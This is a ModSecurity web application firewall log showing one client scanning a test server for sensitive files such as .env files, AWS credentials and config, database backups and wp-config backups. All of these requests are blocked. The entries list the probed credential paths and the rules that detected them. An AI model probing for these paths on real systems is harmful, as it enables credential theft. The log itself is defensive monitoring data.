[Sun Nov 30 18:08:57.651068 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5xAAAAAw&quot;]
[Sun Nov 30 18:08:57.651295 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5xAAAAAw&quot;]
[Sun Nov 30 18:08:57.651505 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5xAAAAAw&quot;]
[Sun Nov 30 18:08:57.874708 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5xQAAAAw&quot;]
[Sun Nov 30 18:08:57.875092 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5xQAAAAw&quot;]
[Sun Nov 30 18:08:57.875307 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aSx6KS6tRBnriPIR7Vg5xQAAAAw&quot;]
[Sun Nov 30 18:08:58.099095 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5xgAAAAw&quot;]
[Sun Nov 30 18:08:58.099326 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5xgAAAAw&quot;]
[Sun Nov 30 18:08:58.099580 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5xgAAAAw&quot;]
[Sun Nov 30 18:08:58.323169 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5xwAAAAw&quot;]
[Sun Nov 30 18:08:58.323502 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5xwAAAAw&quot;]
[Sun Nov 30 18:08:58.323715 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5xwAAAAw&quot;]
[Sun Nov 30 18:08:58.547076 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.DS_Store&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5yAAAAAw&quot;]
[Sun Nov 30 18:08:58.547316 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5yAAAAAw&quot;]
[Sun Nov 30 18:08:58.547548 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.DS_Store&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5yAAAAAw&quot;]
[Sun Nov 30 18:08:58.770772 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5yQAAAAw&quot;]
[Sun Nov 30 18:08:58.770940 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5yQAAAAw&quot;]
[Sun Nov 30 18:08:58.771154 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5yQAAAAw&quot;]
[Sun Nov 30 18:08:58.771362 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.old&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5yQAAAAw&quot;]
[Sun Nov 30 18:08:58.995475 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/sites/default/settings.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sites/default/settings.php found within REQUEST_FILENAME: /sites/default/settings.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5ygAAAAw&quot;]
[Sun Nov 30 18:08:58.995696 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5ygAAAAw&quot;]
[Sun Nov 30 18:08:58.995898 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aSx6Ki6tRBnriPIR7Vg5ygAAAAw&quot;]
[Sun Nov 30 18:08:59.219506 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aSx6Ky6tRBnriPIR7Vg5ywAAAAw&quot;]
[Sun Nov 30 18:08:59.219732 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aSx6Ky6tRBnriPIR7Vg5ywAAAAw&quot;]
[Sun Nov 30 18:08:59.219931 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aSx6Ky6tRBnriPIR7Vg5ywAAAAw&quot;]
[Sun Nov 30 18:08:59.443265 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aSx6Ky6tRBnriPIR7Vg5zAAAAAw&quot;]
[Sun Nov 30 18:08:59.443431 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aSx6Ky6tRBnriPIR7Vg5zAAAAAw&quot;]
[Sun Nov 30 18:08:59.443641 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aSx6Ky6tRBnriPIR7Vg5zAAAAAw&quot;]
[Sun Nov 30 18:08:59.443861 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aSx6Ky6tRBnriPIR7Vg5zAAAAAw&quot;]
[Sun Nov 30 18:08:59.667612 2025] [:error] [pid 421122] [client 56.124.78.214:33554] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aSx6Ky6tRBnriPIR7Vg5zQAAAAw&quot;]
